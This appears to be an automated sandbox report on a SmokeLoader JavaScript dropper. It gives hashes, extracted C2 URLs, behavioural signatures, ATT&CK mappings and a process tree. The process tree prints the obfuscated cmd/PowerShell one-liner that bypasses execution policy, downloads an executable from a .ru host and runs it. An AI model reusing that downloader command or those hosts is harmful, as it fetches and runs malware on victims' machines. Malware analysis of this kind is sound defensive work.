Analysis

  • max time kernel
    151s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    21-01-2021 17:55

General

  • Target

    file.js

  • Size

    27KB

  • MD5

    c25cf17b8ec2aab1ae5222db7fa83368

  • SHA1

    2e78dc32dbac62df2ed6223813ea91b9b2de0ff4

  • SHA256

    24c7a1cec052e9f92013628100f19dd8b3f564c3bdaa2f8339a74e37146684c6

  • SHA512

    44cc5dd4b69faedc7e7c265dc70fa014622754f09758a0ae519aeb5c3d4f1a4be9cf2e43ee3903d77430328ea7af04d1bce5b0329c115e01afe01010d4df1148

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://citycapproperty.ru/localmod/nmode.exe

Extracted

Family

smokeloader

Version

2020

C2

http://smbproperty.ru/

http://gmbshop.ru/

http://baksproperty.gov.ug/

http://magistralpsw.ru/

http://mpmanagertzz.ru/

http://powerglasspot.ru/

http://autopartswarehouses.ru/

http://memoloves.ru/

http://alfavanilin.ru/

rc4.i32
rc4.i32

Signatures

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 673 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\file.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1832
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c pOwEr^shEll -ex^ecution^pol^icy b^ypa^ss -n^oprof^ile -w h^idd^en $v1='Net.W'; $v2='ebClient'; $var = (New-Object $v1$v2); $var.Headers['User-Agent'] = 'Google Chrome'; $var.downloadfile('http://citycapproperty.ru/localmod/nmode.exe','%temp%wlS16.exe'); & %temp%wlS16.exe & mtOiVwFENbWSfhv
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1220
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        pOwErshEll -executionpolicy bypass -noprofile -w hidden $v1='Net.W'; $v2='ebClient'; $var = (New-Object $v1$v2); $var.Headers['User-Agent'] = 'Google Chrome'; $var.downloadfile('http://citycapproperty.ru/localmod/nmode.exe','C:\Users\Admin\AppData\Local\TempwlS16.exe');
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1956
      • C:\Users\Admin\AppData\Local\TempwlS16.exe
        C:\Users\Admin\AppData\Local\TempwlS16.exe
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Checks SCSI registry key(s)
        • Suspicious behavior: CmdExeWriteProcessMemorySpam
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        PID:1472

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

System Information Discovery

2
T1082

Query Registry

1
T1012

Peripheral Device Discovery

1
T1120

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\TempwlS16.exe
    MD5

    057887b52388981063d44ae2ffff29a7

    SHA1

    123ba07b28b49215d4d7b83fbf38cb2a9e0c8b56

    SHA256

    c65ea9eee506b0a71170d4e3778d3ccadda12f67217e89e3b93db61890ab548d

    SHA512

    3440dccd9e39a49b7f37943ccef70eff5bd1fe89c812b82b64df13ab9634f91b585a7d8ae723a94abd9a2c1938378c46a6beb581c1c6337ccefdd8b2c4c0ee5b

  • C:\Users\Admin\AppData\Local\TempwlS16.exe
    MD5

    057887b52388981063d44ae2ffff29a7

    SHA1

    123ba07b28b49215d4d7b83fbf38cb2a9e0c8b56

    SHA256

    c65ea9eee506b0a71170d4e3778d3ccadda12f67217e89e3b93db61890ab548d

    SHA512

    3440dccd9e39a49b7f37943ccef70eff5bd1fe89c812b82b64df13ab9634f91b585a7d8ae723a94abd9a2c1938378c46a6beb581c1c6337ccefdd8b2c4c0ee5b

  • \Users\Admin\AppData\Local\Temp\9419.tmp
    MD5

    d124f55b9393c976963407dff51ffa79

    SHA1

    2c7bbedd79791bfb866898c85b504186db610b5d

    SHA256

    ea1e16247c848c8c171c4cd1fa17bc5a018a1fcb0c0dac25009066b6667b8eef

    SHA512

    278fe3a4b1fbbe700e4f4483b610133e975e36e101455661d5197bd892a68839b9d555499040d200c92aefa9e3819380e395c0cd85d5fc845c6364d128a8cf06

  • memory/1220-2-0x0000000000000000-mapping.dmp
  • memory/1244-22-0x0000000002BA0000-0x0000000002BB6000-memory.dmp
    Filesize

    88KB

  • memory/1472-21-0x0000000000400000-0x000000000040A000-memory.dmp
    Filesize

    40KB

  • memory/1472-20-0x0000000000020000-0x000000000002A000-memory.dmp
    Filesize

    40KB

  • memory/1472-18-0x0000000075DE1000-0x0000000075DE3000-memory.dmp
    Filesize

    8KB

  • memory/1472-17-0x00000000034F0000-0x0000000003501000-memory.dmp
    Filesize

    68KB

  • memory/1472-15-0x0000000000000000-mapping.dmp
  • memory/1832-3-0x0000000002670000-0x0000000002674000-memory.dmp
    Filesize

    16KB

  • memory/1956-7-0x0000000002500000-0x0000000002501000-memory.dmp
    Filesize

    4KB

  • memory/1956-13-0x000000001B9B0000-0x000000001B9B1000-memory.dmp
    Filesize

    4KB

  • memory/1956-12-0x0000000002300000-0x0000000002301000-memory.dmp
    Filesize

    4KB

  • memory/1956-11-0x0000000002630000-0x0000000002631000-memory.dmp
    Filesize

    4KB

  • memory/1956-10-0x000000001AB94000-0x000000001AB96000-memory.dmp
    Filesize

    8KB

  • memory/1956-9-0x000000001AB90000-0x000000001AB92000-memory.dmp
    Filesize

    8KB

  • memory/1956-8-0x000000001AC10000-0x000000001AC11000-memory.dmp
    Filesize

    4KB

  • memory/1956-6-0x000007FEF5220000-0x000007FEF5C0C000-memory.dmp
    Filesize

    9.9MB

  • memory/1956-5-0x000007FEFB6D1000-0x000007FEFB6D3000-memory.dmp
    Filesize

    8KB

  • memory/1956-4-0x0000000000000000-mapping.dmp